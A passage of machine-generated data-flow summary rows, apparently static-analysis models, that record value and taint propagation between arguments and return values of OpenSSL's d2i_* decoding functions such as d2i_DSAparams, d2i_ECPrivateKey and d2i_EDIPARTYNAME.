"d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSA_PUBKEY_fp", "(FILE *,DSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSA_SIG", "(DSA_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_DSAparams", "(DSA **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECDSA_SIG", "(ECDSA_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKPARAMETERS", "(ECPKPARAMETERS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPKParameters", "(EC_GROUP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECParameters", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey_bio", "(BIO *,EC_KEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_bio", "(BIO *,EC_KEY **)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey_bio", "(BIO *,EC_KEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey_bio", "(BIO *,EC_KEY **)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ECPrivateKey_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PRIVATEKEY", "(EC_PRIVATEKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY", "(EC_KEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY_bio", "(BIO *,EC_KEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EC_PUBKEY_fp", "(FILE *,EC_KEY **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_EDIPARTYNAME", "(EDIPARTYNAME 